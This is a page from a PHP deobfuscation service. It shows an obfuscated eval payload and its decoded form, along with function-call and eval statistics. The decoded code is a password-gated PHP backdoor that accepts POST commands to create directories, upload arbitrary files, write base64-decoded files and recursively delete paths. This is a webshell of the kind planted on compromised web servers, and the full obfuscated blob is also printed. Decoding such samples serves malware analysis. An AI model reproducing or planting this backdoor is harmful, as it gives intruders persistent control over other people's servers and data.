Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$key = '188162e90b88271030885b3bd7cfd523'; //stusa eval(str_rot13(gzinflate(str_rot13(bas..

Decoded Output download

if(isset($_POST['a']) && (md5($_POST['k']) == $key) && ($_POST['a'] == 'ping')) {
	die('pong');
}


if(isset($_POST['a']) && (md5($_POST['k']) == $key) && ($_POST['a'] == 'md') && (strlen($_POST['name']) > 0)) {
	if (@mkdir(trim($_POST['name']))) {
		die('1');
	} else {
		die('0');
	}
}

if(isset($_POST['a']) && (md5($_POST['k']) == $key) && ($_POST['a'] == 'uf') && isset($_FILES['f']) && ($_FILES['f']['error'] == 0) && (strlen($_POST['name']) > 0)) {
		$d = trim($_POST['name']);		
		if (!file_exists($d)) {
			@mkdir($d);
		}
        $filename = $_FILES['f']['name'];        
        move_uploaded_file($_FILES["f"]["tmp_name"], $d. "/" . $filename);
        if (file_exists($d. "/" . $filename)) {
        	die('1');
    	} else {
            file_put_contents($d. "/" . $filename, file_get_contents($_FILES["f"]["tmp_name"]));
            if (file_exists($d. "/" . $filename)) {
                die('1');
            } else {
    		  die('0');
            }
    	}
}

if(isset($_POST['a']) && (md5($_POST['k']) == $key) && ($_POST['a'] == 'uf1') && (strlen($_POST['f']) > 0) && isset($_POST['fn']) && (strlen($_POST['name']) > 0)) {
        $d = trim($_POST['name']);      
        if (!file_exists($d)) {
            @mkdir($d);
        }
        $filename = trim($_POST['fn']);        
        file_put_contents($d. "/" . $filename, base64_decode($_POST['f']));
        if (file_exists($d. "/" . $filename)) {
            die('1');
        } else {
            die('0');
        }
}

if(isset($_POST['a']) && (md5($_POST['k']) == $key) && ($_POST['a'] == 'dd') && (strlen($_POST['name']) > 0)) {
		rmrf(trim($_POST['name']));
		die('1');
}

die('0');

function rmrf($path) {
    $path = (substr($path,-1)=='/') ? $path:$path.'/';
    $dh  = opendir($path);
    while ( ($item = readdir($dh) ) !== false) {
        $item = $path.$item;
        if ( (basename($item) == "..") || (basename($item) == ".") )
            continue;
        $type = filetype($item);
        if ($type == "dir")
            rmrf($item);
        else
            @unlink($item);
    }
    closedir($dh);
    rmdir($path);
}

Did this file decode correctly?

Original Code

$key = '188162e90b88271030885b3bd7cfd523'; //stusa
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUrXEqs4Ev2aqbn7Uw41QuRxoll82SIHkzN8/cLUunkQRQep6T59PNf99XTt9mu5+mX+M/TFWWD/neYxmeY/bN9H+fX/h781cmTthFQA144+6xkhgAU7FS+6IbSdwVb8L8SsuucKtgxEObwbTV3Bf/4zgcz9YKjsM1cLDdFseoGHOkUHKQqeOUPWY1pgtEjX7fwYOY5j3kjYiPYI9Xag3nehGMjILsbRWkdSlFOZtvu2C1QwHR3jXTAYrgBCMjit0+J4G4W8JHbDuZUXWkpNe70KxiZ5DJaftsdfOyVes2IWlPkRlrK+A6izMit9nR7nKcoqblHq/JXnU2aHEO5EvN+SF8l4zElL3zjKa48E4rBojSgKiBoORQ4/mt0od6aLIN8R0/e1dglorr8zsWtm3TzLnOSRoUWS41LjXyqVesO9CrszkXR6MtStUnzKeBhVVAhOJN3eP7PjjR0W4l1EngLtfo5B4Aor6ClY8ycz606s0QBUpc9wwpomOh4tDev5N87KSrPyL/r9PXAtkj+d8hl4Cfh5CPL1VaxB2ft0VpqJBq53P1HmiHJmVscTdvvKb2Ts5eImbiWY9SPG7AmYXvHx8WelEkdo45m1z8y36eCvNdTfO9MpjQ+Qo4YUNEbwjXF29ChYafrNwLx8sh7uA2FwfJto57EyGpPQ5KPak7rbgZVqyYkYiSOc8POgYPlYbJTH7/42VKM8puIKz0mhTyLuHqFwEngrbYjan7nddVROuXaayXZGKZ/0MT3MupSuO2x8Q+ZQK6JzxaDNdaBRzMomUb5QBhda2JwZ4QHfoTq1PG8AJRfAo6x/4oPXIN476rvSAowXiMxjsWYg3LzVnh0qmZdfsLWYkMmZkosxAVs6+TTXH7dSsXGLpH6smbWVI1lvtbXtJGkkYCMFsPRr1NTOsExXO+9b46xFoEHJVF0tvKIJYtEnoFFvKZo3lpAcgL4IrJzgNprw9NIE3oDM3sSZgT3hhWmXLlFpbRHtCTyNiZEgF66ofa8c48RMV0zlrXYHWjqb1ICWUQ89xpMcqNlTcxyqnuXFlotPICjGSroKKWYhF8/5ET4tBxDadWALFfdoPsLsaEKqmEQqPUpPiHC4Kw+51/TnRE1CN5LiEHD4fCu5ESkokbBbf5McGRf97wfKdK5r8hOM8Le6xqwaHEIQhBxVOLO/UkZYRRiv5jNcLTaBEnVEllhmvKVT6Dt4JcRIn7WeUDRxkRMVS6BvT23h0gqjFhk4xBxaACmy2tWfag+upEeu4wJcVvU45/zOVPn5khz5eiDfQkwIP43ufiThPcvKjRkvdpB8+KdbOyB82KEg9HQL2RUiXoLOeIzGyeEg/JlUNDrqCJw9qt6M016MM2H1ABpDEBPHgluWaj3lfrH6xX68Due4Th/ULeslf7/n3DJ+ofT9sje4uB0W/r1oYsROFEmcUOMYr/YMFQdvWAobASr2i8tGlTWeRDqXkJeqf3iSMNNROrV7LXZGOD3gYJ52GZXPPf/EW7Hs8oFW5xh/xl4S9CZLd/uIFl5HYAnYL1PkV2Ghco3Kw17LB/2gZLhtxpR4fn5+If/oeWcQi3PNM6wmzupTJB2BOKDEnRfK09oQvm371bf6qPIGdgrRh+zYp2pi4mZxeBaHDpJx29U69j3vu1B+Cd2T4QY2gXslZrROZdO6iV8aPU5RHe3Z0sd3shdHQ7VZ2B0+TQa5y7xX3LsmOFg9Mgr9KjAXnr5wDjB8UI0Cys+jYtoTBM6IGpqmn6IX8qpObp37M0etVsrwWVAqhlgsUemSPmpwIO2SgQ3bntLRz3dNip5+e/Fm4/KUeMiInO5VuyNAUSaubP9Eim9BezKAGh1sdoC81BtXwd/QhyzxUOzfcGqi23+jioli5+us529pBk9wU2MkwWvv7yF/NYOsn4D5OWhL02ssK5zyc5/8Yl6CBOMbmJbKbGZMj1MhRSlEBAKvUUS17Rg6wiMIFffwzIjPj2Iz9FuN/K9caMoePv2vVMteadBXCnMRksz9yWvw7AWUqcexrfWLJmkv0WGEZLGr3kXq0UaI8p0ivKasB5Pyf998xZahzwqwUXUD6FKQSKfVprkMCIkNfMJXHXJcajVBb6VLbU2zJHQKdn7kLKfMD2arRj6+3oYSK08Z+l8eTmjvg8XTapbFdtqqHCVXzrElm8RgjPZ9KRC6H9sTkhyxokJWc3y6Jlsg43OTvm4+bH8oygX1l34zg7yjc7ura9A37jLAHgLxM3J1dNOBhn06Idr3Iar7lX2yL8pMP9UVqiJYObYM0GSprvbpNKTt7DZa16DARmz2cmEpbbOrlCYE8tBs6h7gLscWRNosNxnhyIilQjHqkYg/Ns1x2Ri5q/jHvJPbB3Le2HyKB3t4o1rIQZj669NL1RZ8aIEq1gqKvLSxoNK311/RCMkx5PRA8Gtqs7gR2VmB7CTX90QZCKxra/CSRCa01+ASYcb4Zal9rpX7ZSOimEFEieksOt+sak1xv/OFpcPG9fEXAiIcSpkOkdvuYJw+pCfPoZOwGZ4Xok8/JTPx6gXauMCKI4Ng91YIB0ow89fT6ORXZIDsVscRnvYa2+EPaMeB+mCEMiPgB/UrllxyA0HPyfxOFCSJVpLj50nhjuA7wQwmJN2CyAf82D1czsSjjNlShRX0BDmHSxMEs4k4rRSzlThtSqb0VGyGuy6iHBxv4IrkMC0a4iQM5JzLAg/h7mVkBjkZdd1k1Pkn3ZuXzGkG+Zi+Otn2MhoGeUKwijWaGbDf+skw+66WLoHmP1KJfy4xehM+/oIwJTo+loKV6t/eKsJbYlSDIqHNQH00B0Gn3SAlU00LDpZWcq+8Erxd7kqyM7KnNt8bF3odHpWX4CVMD48D90y8lIhXx2Za0OzjiXXaLXoG68suyfBAFuiK9n4MhLNWiVTSyPzLFVBJ/UAa3BCQWc2bS9k92RUJ6RP37XWugz/0WXKm2m/UU98dQrPM4wUXVdadQmBbPiNuhT6nvz6UBoIdXsBYorrxfQ+Ko0oywJrS42NhC/S5gEhjFTwulAmyDYJA0izoT2AcI6TgH+LJbxP+3D6x6Dx2p5JdueN99OV0IbQGJwiKMo7Cyb4/U/pVGvXS4jp3KO3oVXAAHzT1qcrGoBXh8UU+pUltw+IWBewZj+gLRu2xVkRzRqVV+0ZsdY+72S3HAQjthA2fnG0ZoPzyglcCbqjQJt1r7TEXswFmSuXTLjtKDf3Sd8T6vscTXFYc17ckKDqes8JDuLbqOvQtikbvq3E5yxkuryHL0YufdanTnKfYX8plU4G1yZ+7b7TkYWDXMjaj4D4BXzqFPy4actVFzAmBB61BVGmJZevRtla4XSRoUT8tTSRfLPf7ZzOeVz/UqmwTbrtR9ONK7TLUct8uZ/iGqS6K/rMq36WKVuk3a8LawUf54rGwdqd7vFkKcT8cVcozb7MYkMud00vTsTuKXr3NCtl3jMUqvgfjaSzPX9cvY5sDnq6lOY/aStJ3E90kakZkRdzemHRxGky7MIiuO11oVTETVCvEQRLK7jfZOq046L72EcRU/NibKYTXGXcSloAbwXRT6lvRSYvsU70tYy4pqQ9aJ+B7MJAdpISYONaJwIxORf1LZw98ocbW6+vdSsP67kawQAqh3KrptZ55cwY6jQUnHSSxcGSY8ZZeIlTyAYfL8Xv4HGv/EJVQCnsxyMpF+eYnREPMVl4gQ9odsIIz7Fjo0UG8NOZSCd6Zl4tJB6izKzT9krrTVItLH3591m9HZcbb7Kb0A6jGPCQ3qjL1fU63wQTv9sJL4HCWww4QI5aNee73pYoMu3r1EFMGk73IVGB57rpfcv/x6yLrylDkTE9nijoYtqGkfyTNUMj8lp0MyX53uyvzEhdDvOTWsIaRbwPmDWF/7iqqx9+KmxoPCfdeTQZQ6yWaRH6mlh475dTfh4lQxDh7+0/0l5WWaZ2CLlghhIY+TPkTwHeZzFiKP3b/L9xD0/TeF3X5+z/P55//AQ==')))));

Function Calls

strrev 3
gzinflate 11
str_rot13 11
gzuncompress 4
rawurldecode 1
base64_decode 18

Variables

$key 188162e90b88271030885b3bd7cfd523

Stats

MD5 217d5921c7caf8dd3016704395f84895
Eval Count 16
Decode Time 125 ms